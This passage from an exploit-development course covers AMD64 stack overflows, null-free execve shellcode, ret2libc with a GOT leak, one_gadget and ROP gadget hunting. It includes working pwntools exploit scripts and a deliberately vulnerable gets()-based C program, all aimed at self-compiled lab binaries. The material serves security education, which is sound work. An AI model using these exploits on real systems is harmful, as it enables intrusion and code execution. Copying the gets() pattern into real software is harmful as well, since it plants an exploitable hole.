# In GDB, minimize environment
gdb -q ./vuln1
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env # Should be minimal
# Or use this pwntools trick to match addresses
p = process('./vuln1', env={}) # Empty environment
Essential pwndbg Commands for Exploit Development (AMD64):
# Address finding
pwndbg> vmmap # Memory map (find stack, libc, etc.)
pwndbg> search -s "/bin/sh" # Find string in memory
pwndbg> got # Show GOT entries
# Payload verification
pwndbg> hexdump $rsp 100 # View your payload on stack
pwndbg> telescope $rsp 20 # Smart stack display (shows dereferences)
# Execution tracing
pwndbg> nearpc # Show instructions around PC
pwndbg> context # Full context display
pwndbg> retaddr # Show return addresses on stack
# Exploit helpers
pwndbg> rop # Find ROP gadgets (slow)
pwndbg> checksec # Binary protections
Debugging Checklist (Use Before Asking for Help!):
- Offset verified? Use
cyclicpattern, confirm withcyclic -l(use full 8-byte value on AMD64!) - Addresses correct? Double-check with
print &functionin GDB - Architecture matches?
context.arch= 'amd64', usep64()notp32() - Endianness correct? x86/x64 = little endian =
p64() - No bad characters? Check for
\x00,\x0a,\x0din payload - Stack executable?
checksecshould show "NX disabled" - ASLR disabled for this run? Use
setarch -Ror GDB's default - Using same environment?
env -iorenv={}in pwntools - Shellcode tested standalone?
run_shellcode()in pwntools - Stack aligned? AMD64 requires 16-byte alignment before
call
Environment Hygiene (Critical for Exploit Development)
Stack addresses differ between environments due to variables like LINES, COLUMNS, PWD, TERM, and program name length. This is the #1 cause of "works in GDB, fails outside" issues.
The Problem:
Normal execution: GDB execution: Different terminal:
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ env vars (big) │ │ env vars + GDB │ │ different env │
│ PWD=/long/path │ │ extra vars │ │ COLUMNS=120 │
├─────────────────┤ ├─────────────────┤ ├─────────────────┤
│ argv, argc │ │ argv, argc │ │ argv, argc │
├─────────────────┤ ├─────────────────┤ ├─────────────────┤
│ Stack │ │ Stack │ │ Stack │
│ buffer @ 0xABC │ │ buffer @ 0xA00 │ │ buffer @ 0xB00 │
└─────────────────┘ └─────────────────┘ └─────────────────┘
↑ Different addresses due to env var size!
Solution: Force Consistent Environment:
# Method 1: Clear all environment variables
env -i ./exploit
# Method 2: Clear and set minimal required vars
env -i PWD=$(pwd) ./exploit
# Method 3: In pwntools (RECOMMENDED for learning)
from pwn import *
p = process('./vuln', env={}) # Empty environment
# Or with minimal vars:
p = process('./vuln', env={'PWD': os.getcwd()})
# Method 4: Disable ASLR per-process (pwntools, best for learning)
p = process('./vuln', aslr=False, env={})
The "It Works on My Machine" Checklist
- Buffering Hell
- Local
process()typically uses PTY (unbuffered). - Remote
ncor sockets are often fully buffered or line-buffered. - Always use
p.recvuntil(b'prompt')before sending. Never rely onsleep()unless absolutely necessary.
- Local
- IO Handling
p.recv()is dangerous—it returns some data, not all data.p.clean()removes unread data (useful before sending payload).p.sendline()adds\n. Ensure target expects\nand not just raw bytes.
- Environment Variables
- Remote servers have different
envvars than your GDB session. - This shifts stack addresses by +/- 0x100 bytes.
- Never rely on exact stack addresses (hardcoded
0x7ffffff...). - Always use leaks (libc/stack) and relative offsets, or NOP sleds.
- Remote servers have different
GDB Environment Matching:
# In GDB, clear problematic variables
gdb -q ./vuln
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) unset env TERM
(gdb) show env # Verify minimal environment
(gdb) run
# Or start GDB with clean environment
env -i gdb -q ./vuln
pwntools Best Practice for Learning:
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('./vuln')
# For LEARNING phase: disable ASLR and clear env
# This ensures consistent addresses across runs
p = process('./vuln', aslr=False, env={})
# For PRODUCTION exploits: use leaks and relative offsets
# p = process('./vuln') # Real-world: ASLR enabled
Verification:
# Compare stack addresses with different environments
env -i ./vuln # Note buffer address
./vuln # Different address!
env -i PWD=x ./vuln # Yet another address
# Find the delta between GDB and real execution
# GDB typically adds ~0x60-0x100 bytes to stack
[!WARNING] Always use
env -iorenv={}when developing exploits with hardcoded addresses! Once your exploit works, convert to using leaks for portability.
Practical Exercise
Exercise: Exploit vuln1 to get a shell
Steps:
-
Compile Target (AMD64):
make training-shellcode SOURCE=vuln1.c BINARY=vuln1 #gcc -g -O0 -fno-stack-protector -z execstack -no-pie vuln1.c -o vuln1 #checksec --file=./vuln1 -
Find Offset (AMD64 uses 8-byte patterns):
pwn cyclic 200 # copy output gdb ./vuln1 run # paste as input # Note the 4-byte crash value for RIP cyclic -n 4 -l <4_byte_crash_value> -
Find Stack Address (or jmp rsp gadget):
ROPgadget --binary ./vuln1 | grep "jmp rsp" -
Build Exploit (AMD64):
- NOP sled (50 bytes)
- AMD64 shellcode (use
asm(shellcraft.amd64.linux.sh())) - Padding to offset (72 bytes typical)
- Return address (8 bytes - use
p64())
-
Test Exploit:
python3 exploit1.py # Should get shell id whoami
Success Criteria:
- Successfully overflow return address
- Shellcode executes
- Shell obtained
- Can run commands (id, whoami, ls)
Week 4 Deliverable Exercise: From Minimized Crash to Exploit
Use one of your Week 4 deliverables (reproduction fidelity + minimized crash) and turn it into a working Day 1 exploit.
Inputs from Week 4:
- A minimized crash input (file or stdin blob)
- An exact reproduction command (argv + input path)
- Your reproduction notes (OS/libc, environment variables, ASLR settings)
Task:
- Reproduce the crash reliably (>= 9/10) using the exact same input path and environment.
- Generate a core dump and confirm you control RIP.
- Replace your crashing bytes with a cyclic pattern and recover the exact offset.
- Build an exploit that spawns a shell (ret2shellcode for Day 1).
Success Criteria:
- Offset derived from the crash (not guessed)
- Exploit works multiple times in a row
Week 2 Integration Exercise: AFL++ Crash -> Minimize -> Exploit
Reuse the Week 2 AFL++ workflow, but target a Week 5 binary.
Goal: produce a fuzzer-found crashing input for a Day 1 style target, minimize it, then turn it into a working exploit.
Task:
- Build the target with AFL++ instrumentation.
- Run
afl-fuzzuntil you get a crash. - Minimize the crashing input with
afl-tmin. - Use the minimized crash to recover the offset and build a working exploit.
Success Criteria:
- A fuzzer-generated input crashes the program
afl-tminproduces a smaller reproducer that still crashes- You can transform the minimized input into a working exploit
Common Issues and Solutions
Issue 1: Segfault at wrong address
# Check actual RIP value (AMD64)
gdb ./vuln1
run
# add exploit
info registers rip
# Adjust return address in exploit
Issue 2: Shellcode not executing
# Verify shellcode is correct AMD64 shellcode
python3 -c "from pwn import *; context.arch='amd64'; print(asm(shellcraft.amd64.linux.sh()).hex())"
# Check stack is executable
readelf -l vuln1 | grep STACK
# Should show RWE (Read Write Execute)
Issue 3: Stack address wrong
# Stack addresses may vary slightly
# Use larger NOP sled (100-200 bytes)
# Adjust return address to middle of NOP sled
Common Mistakes to Avoid
- Forgetting endianness: x86/x64 is little-endian.
0xdeadbeefbecomes\xef\xbe\xad\xde - Wrong architecture: AMD64 shellcode won't work in 32-bit process (and vice versa!)
- Using p32() on AMD64: Always use
p64()for 64-bit binaries - Bad characters: Null bytes (
\x00) terminate strings instrcpy. Other common bad chars:\x0a(newline),\x0d(carriage return),\x20(space) - Stack alignment: AMD64 requires 16-byte alignment before
callfor some libc functions (add extraretgadget if crashes in libc) - Environment differences: Stack addresses differ between GDB and normal execution (due to environment variables)
Exercise: Removing Null Bytes from Shellcode
Why This Matters: String functions like strcpy(), gets(), and scanf("%s") stop at null bytes. If your shellcode contains \x00, it gets truncated.
Common Null Byte Sources:
| Instruction | Bytes | Problem | Solution |
|---|---|---|---|
mov rax, 0 | 48 c7 c0 00 00 00 00 | Immediate 0 | xor eax, eax → 31 c0 |
mov rdi, 0x68732f6e69622f | Contains nulls | String padding | Use push/mov sequences |
mov al, 59 | b0 3b | No nulls! | OK as-is |
syscall | 0f 05 | No nulls | OK as-is |
Task: Convert this null-containing shellcode to null-free:
; Original (contains null bytes)
; execve("/bin/sh", NULL, NULL)
BITS 64
section .text
global _start
_start:
mov rax, 59 ; 48 c7 c0 3b 00 00 00 - CONTAINS NULLS!
mov rdi, binsh ; 48 bf XX XX XX XX XX XX XX XX - address likely has nulls
mov rsi, 0 ; 48 c7 c6 00 00 00 00 - CONTAINS NULLS!
mov rdx, 0 ; 48 c7 c2 00 00 00 00 - CONTAINS NULLS!
syscall
section .data
binsh: db "/bin/sh", 0 ; Contains null terminator!
Solution: Null-Free Version:
; Null-free execve("/bin/sh", NULL, NULL)
BITS 64
section .text
global _start
_start:
; Clear registers without using immediate 0
xor eax, eax ; 31 c0 - clears RAX (zero-extends to 64-bit)
xor esi, esi ; 31 f6 - clears RSI
xor edx, edx ; 31 d2 - clears RDX
; Push "/bin/sh" onto stack (reverse order, no null in code)
; "/bin/sh" = 0x68732f6e69622f2f with extra / ("/bin//sh")
push rax ; Null terminator on stack
mov rdi, 0x68732f2f6e69622f ; "/bin//sh" (no embedded nulls)
push rdi
mov rdi, rsp ; RDI = pointer to "/bin//sh\0"
; Set syscall number without nulls
mov al, 59 ; b0 3b - only sets AL, RAX already 0
syscall ; 0f 05 - execute!
pwntools Verification:
# ~/exploit/7.py
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
# Check for null bytes in shellcode
shellcode = asm('''
xor eax, eax
xor esi, esi
xor edx, edx
push rax
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
mov al, 59
syscall
''')
# Verify no null bytes
if b'\x00' in shellcode:
print(f"[!] FAIL: Shellcode contains null bytes!")
print(f" Position: {shellcode.index(b'\\x00')}")
print(f" Bytes: {shellcode.hex()}")
else:
print(f"[+] SUCCESS: Null-free shellcode ({len(shellcode)} bytes)")
print(f" {shellcode.hex()}")
# Test it
print("\n[*] Testing shellcode...")
run_shellcode(shellcode).interactive()
Null-Byte Elimination Techniques:
| Original | Null-Free Replacement | Notes |
|---|---|---|
mov rax, 0 | xor eax, eax | Zero-extends to 64-bit |
mov rdi, 0 | xor edi, edi | Zero-extends to 64-bit |
mov rax, small_num | xor eax, eax; mov al, num | For values < 256 |
mov rax, imm64 | push imm32; pop rax | If value fits in 32-bit |
| String in .data | push string onto stack | Build string at runtime |
jmp label with null offset | Use short jumps or restructure | Relative offset issue |
Identifying Bad Characters:
#~/exploit/8.py
from pwn import *
# Find all bad characters in your shellcode
def find_bad_chars(shellcode, bad_chars=b'\x00\x0a\x0d\x20'):
found = []
for i, byte in enumerate(shellcode):
if bytes([byte]) in bad_chars:
found.append((i, hex(byte)))
return found
shellcode = asm(shellcraft.sh())
bad = find_bad_chars(shellcode)
if bad:
print(f"Bad characters at: {bad}")
else:
print("Shellcode is clean!")
[!TIP] Use pwntools
shellcraftwith encoders for complex shellcode:# Automatically generate null-free shellcode shellcode = asm(shellcraft.amd64.linux.sh()) # Or use msfvenom: msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00'
Debugging Tips:
# Per-process ASLR disable (DON'T disable system-wide!)
setarch x86_64 -R ./binary
# Or in pwntools: p = process('./binary', aslr=False)
# Run with same environment as GDB
env -i ./binary
# Generate core dumps for post-crash analysis
ulimit -c unlimited
./binary $(python3 -c "print('A'*200)")
gdb ./binary core
# Trace syscalls/library calls
strace ./binary
ltrace ./binary
Key Takeaways
- Stack overflows overwrite return address: Control RIP (AMD64) / EIP (x86)
- Finding offset is critical: Use cyclic patterns (8-byte on AMD64!)
- NOP sleds improve reliability: Don't need exact address
- Stack must be executable:
-z execstackrequired for shellcode - Per-process ASLR disable: Use
setarch -Ror GDB, NOT system-wide - AMD64 uses 8-byte addresses: Always use
p64()notp32()
Discussion Questions
- Why does a NOP sled improve exploit reliability?
- What happens if ASLR is enabled but other protections are disabled?
- How would you modify your exploit if the vulnerable function used
read()instead ofgets()? - What are the limitations of this technique in real-world scenarios?
- Why is AMD64 stack alignment (16-byte) important for exploit reliability?
Day 2: Return-to-libc and Introduction to ROP
- Goal: Learn code-reuse exploitation when stack is not executable.
- Activities:
- Reading:
- "The Shellcoder's Handbook" 2nd edition - Chapter 2: "Stack Overflows"
- Return-to-libc Paper
- The Geometry of Innocent Flesh on the Bone - Original ROP paper (Shacham, 2007)
- Online Resources:
- ROP Emporium - Practice challenges (start with ret2win)
- ROPgadget Tutorial
- Tool Setup:
- Same VM as Day 1
- Enable NX bit (disable execstack)
- Exercise:
- Exploit with ret2libc technique
- Find gadgets manually before using ROPgadget
- Build and debug a ROP chain
- Reading:
Context: Router Exploitation (MIPS/ARM)
- Return-to-libc is a staple in embedded device exploitation (routers, IoT).
- Many of these devices run on MIPS or ARM architectures where stack execution is often disabled or cache coherency issues make shellcode unreliable.
- Attackers frequently use
system()orexecve()from libc to spawn a shell, just like we will do today.
Deliverables
- Binary:
vuln2built with NX enabled and verified withchecksec - Leak stage: Stage 1 leak works and returns to
main - Libc base:
libc.addresscorrectly computed from the leak - Final stage: Stage 2 gains code execution (shell)
- Notes: gadgets + alignment rationale, plus the parsed leak value
Non-Executable Stack (NX/DEP)
What is NX?:
- NX (No eXecute) bit marks stack as non-executable
- Also called DEP (Data Execution Prevention) on Windows
- Shellcode on stack cannot execute
- Need alternative exploitation strategy
Enable NX for Practice (AMD64):
# Compile with NX enabled (no -z execstack)
make disabled SOURCE=vuln1.c BINARY=vuln1_nx
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln1.c -o vuln1_nx
# Verify NX enabled
# checksec --file=./vuln1_nx
# Stack: NX enabled
# Try old exploit(edit it to use vuln_nx)
python3 exploit1.py
# Segmentation fault (shellcode doesn't execute)
Return-to-libc Technique
Concept:
- Instead of executing shellcode, call existing functions
libcprovides useful functions (system, execve, etc.)- Chain function calls to achieve goal
- No shellcode needed!
[!IMPORTANT] AMD64 Calling Convention: Unlike x86 where arguments go on the stack, AMD64 passes the first 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9. This means we need gadgets to load registers before calling functions!
The Canonical Exploit Pattern: Leak → Compute → Exploit
[!CAUTION] Never hardcode libc addresses! Even with ASLR disabled for testing, addresses change between libc versions and systems. Always use the leak → compute base → build ROP pattern.
The Real-World Pattern:
1. Stage 1: Leak a libc address (e.g., puts@got)
2. Compute libc base: libc.address = leaked_addr - libc.symbols['puts']
3. Stage 2: Build ROP chain with calculated addresses
4. Exploit: Call system("/bin/sh") or execve
Why This Matters:
- Works even with ASLR enabled (after one leak)
- Portable across different libc versions (with correct libc file)
- This is how real exploits work—not "paste address from GDB"
Required Lab: Libc Leak via ROP (AMD64)
This is the most important skill in basic exploitation. Even with ASLR "disabled" in labs, always practice the leak pattern.
vuln2.c (Vulnerable program for leak practice):
#include <stdio.h>
#include <string.h>
// Gadget functions - ensure useful ROP gadgets exist in binary
// These create pop rdi; ret and other gadgets we need
void gadgets() {
__asm__ volatile (
"pop %rdi; ret\n" // pop rdi; ret - for first argument
"pop %rsi; ret\n" // pop rsi; ret - for second argument
"pop %rdx; ret\n" // pop rdx; ret - for third argument
"ret\n" // ret - for stack alignment
);
}
void vulnerable() {
char buffer[64];
printf("Enter input: ");
fflush(stdout);
gets(buffer); // Vulnerable! Allows overflow and null bytes
printf("You entered: %s\n", buffer);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // Disable buffering for reliable I/O
puts("ROP Practice - ret2libc with leak");
vulnerable();
puts("Done!"); // Important: binary must import puts for our leak!
return 0;
}
Compile (AMD64, NX enabled):
cd ~/exploit
make disabled SOURCE=vuln2.c BINARY=vuln2
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2
# checksec --file=./vuln2
# Verify: NX enabled, No canary, No PIE, SHSTK/IBT disabled
Complete Leak-Based Exploit (AMD64):
#!/usr/bin/env python3
#~/exploit/9.py
"""
Canonical ret2libc with leak - AMD64
This is THE pattern to learn. It works on real systems with ASLR.
Pattern: leak → compute libc base → build ROP → shell
Step 1: ROP to puts(puts@got), return to main
Step 2: Parse leaked puts address
Step 3: Compute libc.address = leak - libc.symbols['puts']
Step 4: Build final ROP: system("/bin/sh")
"""
from pwn import *
# ============ SETUP ============
binary_path = './vuln2'
elf = ELF(binary_path)
context.binary = elf # Sets arch=amd64
# Load libc - use the ACTUAL libc on target system!
# On Ubuntu: /lib/x86_64-linux-gnu/libc.so.6
# For remote: download from target or use libc database
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ============ GADGETS ============
# AMD64 needs gadgets to load registers before function calls
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # Almost always needed
ret = rop.find_gadget(['ret'])[0] # For stack alignment
log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"ret @ {hex(ret)}")
# ============ ADDRESSES ============
puts_plt = elf.plt['puts'] # PLT stub to call puts
puts_got = elf.got['puts'] # GOT entry (contains libc address after first call)
main_addr = elf.symbols['main'] # Return here after leak
log.info(f"puts@plt: {hex(puts_plt)}")
log.info(f"puts@got: {hex(puts_got)}")
log.info(f"main: {hex(main_addr)}")
# ============ EXPLOIT ============
OFFSET = 72 # 64 buffer + 8 saved RBP
def exploit():
# Can run locally or switch to remote
if args.REMOTE:
p = remote('target', 1337)
else:
p = process(binary_path)
# ========== STAGE 1: LEAK LIBC ADDRESS ==========
log.info("Stage 1: Leaking libc address via puts(puts@got)")
# Wait for prompt
p.recvuntil(b'Enter input: ')
# AMD64 ROP: pop rdi loads argument, then call puts
# Stack alignment: add ret gadget if needed
stage1 = flat(
b'A' * OFFSET,
p64(ret), # Stack alignment (16-byte before call)
p64(pop_rdi), # pop rdi; ret
p64(puts_got), # RDI = puts@got (address to leak)
p64(puts_plt), # Call puts(puts@got) - prints libc address!
p64(main_addr), # Return to main for stage 2
)
p.sendline(stage1)
# Parse the leak
# Our ROP chain: puts(puts@got) → main, so output is:
# "You entered: [overflow]\n[LEAKED_ADDR]\nROP Practice..."
# Skip until after our payload echo, then read leaked address line
p.recvuntil(b'You entered: ')
p.recvuntil(b'\n') # Skip to end of "You entered" line
# Read leaked bytes - puts adds a newline, so read until that newline
leaked_bytes = p.recvline().strip() # Remove trailing newline from puts
# Handle the leak (puts stops at null bytes, pad if needed)
leaked_puts = u64(leaked_bytes.ljust(8, b'\x00'))
log.success(f"Leaked puts@libc: {hex(leaked_puts)}")
# ========== COMPUTE LIBC BASE ==========
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"Calculated libc base: {hex(libc.address)}")
# Verify libc base looks reasonable (should end in 000 due to page alignment)
if libc.address & 0xfff != 0:
log.warning("Libc base not page-aligned - leak may be wrong!")
# ========== STAGE 2: ONE_GADGET APPROACH ==========
# Modern libc lacks clean pop rdx gadgets, so we use one_gadget
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Constraints vary - try each until one works
log.info("Stage 2: Using one_gadget")
# One_gadget offsets - UPDATE THESE for your libc version!
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadgets = [
0xef4ce, # execve("/bin/sh", rbp-0x50, r12) - needs rbx=0, r12=0
0xef52b, # execve("/bin/sh", rbp-0x50, [rbp-0x78]) - needs rax=0
0x583ec, # posix_spawn constraints
0x583f3, # posix_spawn constraints
]
# Try the second one_gadget (0xef52b) - needs rax=NULL
# If first doesn't work, try index 1, 2, 3...
one_gadget = libc.address + one_gadgets[1]
log.info(f"one_gadget @ {hex(one_gadget)}")
# Wait for prompt (program returned to main, runs vulnerable() again)
p.recvuntil(b'Enter input: ')
# For one_gadget, we need valid RBP (rbp-0x50 must be writable)
# Our overflow corrupted RBP to 0x4141...
# Fix: set RBP to a writable address (like stack) before one_gadget
libc_rop = ROP(libc)
# Find gadgets
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
pop_rbx = libc_rop.find_gadget(['pop rbx', 'ret'])
pop_r12 = libc_rop.find_gadget(['pop r12', 'ret'])
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
# Use a writable address for RBP - use a known writable section
# .bss section in the binary is always writable
writable_addr = elf.bss() + 0x200 # Some offset into .bss
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Stack alignment
# Fix RBP to point to writable memory (CRITICAL for one_gadget!)
if pop_rbp:
stage2 += p64(pop_rbp[0])
stage2 += p64(writable_addr + 0x80) # rbp = writable addr + margin
# Set rax = 0 (for one_gadget constraints)
if pop_rax:
stage2 += p64(pop_rax[0])
stage2 += p64(0) # rax = NULL
# Set rbx = 0 and r12 = 0 (for other one_gadget constraints)
if pop_rbx:
stage2 += p64(pop_rbx[0])
stage2 += p64(0) # rbx = NULL
if pop_r12:
stage2 += p64(pop_r12[0])
stage2 += p64(0) # r12 = NULL
log.info(f"RBP set to writable: {hex(writable_addr + 0x80)}")
stage2 += p64(one_gadget) # Jump to one_gadget
p.sendline(stage2)
# Got shell!
log.success("Shell incoming!")
p.interactive()
if __name__ == '__main__':
exploit()
Key Points:
- Never use
p.libs()in final exploits - it only works locally for debugging - Always leak, then compute - this works with ASLR enabled
- Stack alignment - AMD64 requires 16-byte alignment before
call; addretgadget - Return to main - allows second stage after leak
- Fix RBP for one_gadget - buffer overflows corrupt RBP; one_gadgets need
rbp-0xXXwritable - Modern libc has CET - SHSTK/IBT enabled;
system()may fail, use one_gadget instead
AMD64 Stack Alignment
[!CAUTION] AMD64 Failure Mode: If your exploit crashes with SIGSEGV inside libc (e.g., in
movapsinstruction), you have a stack alignment problem. The stack must be 16-byte aligned before anycallinstruction.
The Problem:
- System V AMD64 ABI requires:
- Stack must be 16-byte aligned BEFORE the 'call' instruction
- 'call' pushes 8-byte return address → stack becomes misaligned
- Function prologue (push rbp) realigns it
- When ROP chains skip prologues, alignment breaks!
The Fix - Always Include ret Gadget:
# WRONG - may crash in libc due to misalignment
payload = flat(
b'A' * offset,
p64(pop_rdi),
p64(binsh),
p64(system), # Crashes with movaps SIGSEGV!
)
# CORRECT - ret gadget aligns stack
ret = rop.find_gadget(['ret'])[0]
payload = flat(
b'A' * offset,
p64(ret), # ← Stack alignment fix!
p64(pop_rdi),
p64(binsh),
p64(system), # Works on older libc!
)
[!WARNING] Modern libc (glibc 2.34+) has Intel CET enabled! Even with correct alignment,
system()may still crash due to Shadow Stack (SHSTK) and Indirect Branch Tracking (IBT). Check withchecksec: ifSHSTK: EnabledandIBT: Enabled, use one_gadget instead.
When Alignment Isn't Enough (CET):
# If system() crashes even with alignment, check for CET:
# checksec /lib/x86_64-linux-gnu/libc.so.6
# Shows: SHSTK: Enabled, IBT: Enabled
# Solution: Use one_gadget with RBP fix instead of system()
one_gadget = libc.address + 0xef52b # From: one_gadget /path/to/libc.so.6
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
payload = flat(
b'A' * offset,
p64(ret), # Stack alignment
p64(pop_rbp[0]),
p64(elf.bss() + 0x280), # Fix RBP for one_gadget constraints
p64(one_gadget), # Bypasses CET!
)
Debugging Alignment Issues:
# In GDB, when you hit the crash:
pwndbg> x/i $rip
# If you see: movaps xmmword ptr [rsp+0x50], xmm0
# This is an alignment issue!
pwndbg> p/x $rsp
# Check if RSP ends in 0 or 8
# Before call: should end in 0 (16-byte aligned)
# After call: ends in 8 (return addr pushed)
# ============================================================
# EXERCISE: "Break It, Fix It" (The Movaps Trap)
# ============================================================
# 1. Create a ROP chain that calls system("/bin/sh") WITHOUT a ret gadget.
# payload = flat(b'A'*offset, pop_rdi, binsh, system)
# 2. Run it inside GDB. It will crash.
# 3. Inspect the crash:
# (gdb) x/i $rip
# => movaps xmmword ptr [rsp+0x40], xmm0
# 4. Check stack alignment:
# (gdb) p/x $rsp
# Result ends in 0x8? That's the bug.
# 5. Fix it:
# payload = flat(b'A'*offset, ret, pop_rdi, binsh, system)
# (gdb) p/x $rsp (at system entry) -> Now ends in 0x0. Success.
# ============================================================
# If aligned but still crashes - check for CET:
checksec --file=/lib/x86_64-linux-gnu/libc.so.6
# SHSTK/IBT enabled = use one_gadget instead
Automated Address Finding (Local Debugging Only)
[!WARNING]
p.libs()only works for local debugging. Never use it in exploits targeting remote systems! Always use the leak pattern.
#!/usr/bin/env python3
#~/exploit/10.py
"""
Address finding for LOCAL DEBUGGING ONLY
DO NOT use p.libs() in real exploits - it doesn't work remotely!
"""
from pwn import *
elf = context.binary = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# LOCAL DEBUGGING ONLY - shows where libc is loaded in THIS process
p = process('./vuln2', aslr=False, env={})
# Get libc base from process maps (LOCAL ONLY!)
# NOTE: libc.path may not match p.libs() keys due to symlinks
# Search for 'libc' in the library paths instead
libs = p.libs()
libc_path = [path for path in libs.keys() if 'libc' in path][0]
libc_base = libs[libc_path]
libc.address = libc_base
log.warning("Using p.libs() - THIS ONLY WORKS LOCALLY!")
log.info(f"Local libc base: {hex(libc.address)}")
log.info(f"Local system(): {hex(libc.symbols['system'])}")
# Find useful addresses for debugging
binsh = next(libc.search(b'/bin/sh\x00'))
log.info(f"/bin/sh string: {hex(binsh)}")
# For one_gadget debugging - verify offsets work with your libc
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget_offsets = [0xef4ce, 0xef52b, 0x583ec, 0x583f3] # UPDATE for your libc!
for i, offset in enumerate(one_gadget_offsets):
log.info(f"one_gadget[{i}]: {hex(libc.address + offset)}")
# Writable address for RBP fix (one_gadget needs rbp-0x50 writable)
writable = elf.bss() + 0x200
log.info(f"Writable .bss for RBP: {hex(writable)}")
# In a real exploit, you would LEAK an address instead:
# leaked = ... (from ROP chain)
# libc.address = leaked - libc.symbols['puts']
Finding one_gadget Offsets:
# Install one_gadget (Ruby gem)
gem install one_gadget
# Find gadgets for your libc
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Example output:
# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x50 is writable
# rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
#
# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# Copy the offsets to your exploit and try each one
# Remember: set RBP to writable address before calling!
Identifying Your Libc Version:
# Check libc version
ldd --version
# Or:
/lib/x86_64-linux-gnu/libc.so.6
# Get libc build ID (for libc database lookups)
file /lib/x86_64-linux-gnu/libc.so.6
# Or:
readelf -n /lib/x86_64-linux-gnu/libc.so.6 | grep "Build ID"
# Check for CET (determines if system() ROP will work)
checksec --file=/lib/x86_64-linux-gnu/libc.so.6
# SHSTK: Enabled, IBT: Enabled = use one_gadget instead of system()
Introduction to ROP
What is ROP?:
- Technique to chain existing code "gadgets"
- Gadget = short instruction sequence ending in
ret - Chain gadgets to build arbitrary operations
- Bypasses NX/DEP without shellcode
AMD64 ROP Basics:
Unlike x86 where you push arguments to the stack, AMD64 passes arguments in registers.
This means you need gadgets like pop rdi; ret to load arguments!
Essential AMD64 Gadgets:
| Gadget | Purpose | Usage |
|---|---|---|
pop rdi; ret | Load 1st argument | Almost always needed! |
pop rsi; ret | Load 2nd argument | For two-arg functions |
pop rdx; ret | Load 3rd argument | Rare in modern libc! Use one_gadget |
pop rbp; ret | Fix RBP for one_gadget | Critical for one_gadget! |
pop rax; ret | Set RAX (syscall #) | For one_gadget constraints |
ret | Stack alignment / pivot | Fix 16-byte alignment |
[!NOTE] Modern libc (glibc 2.34+) lacks clean
pop rdx; retgadgets and has CET enabled. Traditionalsystem("/bin/sh")ROP often fails. Use one_gadget instead!
Simple AMD64 ROP Example (Traditional - may fail on modern libc):
Goal: Call system("/bin/sh") - works on older libc without CET
AMD64 calling convention:
- RDI = first argument = address of "/bin/sh"
- Then call system()
Stack layout (after overflow):
┌─────────────────┐
│ ret gadget │ → align stack (optional)
├─────────────────┤
│ pop rdi; ret │ → gadget address
├─────────────────┤
│ &"/bin/sh" │ → value popped into RDI
├─────────────────┤
│ &system │ → called with RDI = "/bin/sh"
└─────────────────┘
Modern AMD64 ROP Example (one_gadget - works on glibc 2.34+):
Goal: Call one_gadget (execve("/bin/sh", ...)) - works on modern libc with CET
Requirements:
- RBP = writable address (one_gadget needs rbp-0x50 writable)
- RAX = 0 (some one_gadgets require this)
Stack layout (after overflow):
┌─────────────────┐
│ ret gadget │ → align stack
├─────────────────┤
│ pop rbp; ret │ → from libc
├─────────────────┤
│ .bss + 0x280 │ → writable address for RBP
├─────────────────┤
│ pop rax; ret │ → from libc (optional, for constraints)
├─────────────────┤
│ 0x0 │ → RAX = NULL
├─────────────────┤
│ one_gadget │ → libc.address + offset → shell!
└─────────────────┘
Finding ROP Gadgets
Master manual gadget hunting before relying on tools—it builds intuition for what's possible.
Manual Gadget Finding (Do This First!)
# Why manual first? Because:
# 1. Tools miss "unaligned" gadgets
# 2. Understanding binary structure helps debugging
# 3. Sometimes you need a specific gadget tools don't flag
# Step 1: Disassemble the binary
objdump -d -M intel vuln2 > disasm.txt
# Step 2: Search for 'ret' instructions (opcode: 0xc3)
grep -n "ret" disasm.txt
# Step 3: Look backwards from each 'ret' for useful sequences
# Example output (AMD64):
# 401234: 5f pop rdi
# 401235: c3 ret
# This is a "pop rdi; ret" gadget at 0x401234
# Step 4: Search for specific patterns
grep -B2 "ret" disasm.txt | grep "pop"
# AMD64: Search for syscall instruction
objdump -d vuln2 | grep "syscall"
Common AMD64 Gadget Byte Patterns:
| Gadget Type | Byte Sequence | Instruction |
|---|---|---|
pop rdi; ret | 5f c3 | Load RDI (arg 1) |
pop rsi; ret | 5e c3 | Load RSI (arg 2) |
pop rdx; ret | 5a c3 | Load RDX (arg 3) - rare! |
pop rcx; ret | 59 c3 | Load RCX (arg 4) |
pop rax; ret | 58 c3 | Load RAX (for one_gadget) |
pop rbp; ret | 5d c3 | Fix RBP for one_gadget! |
ret | c3 | Stack alignment |
syscall | 0f 05 | Syscall (AMD64) |
pop rsi; pop r15; ret | 5e 41 5f c3 | Common in __libc_csu_init |
[!WARNING]
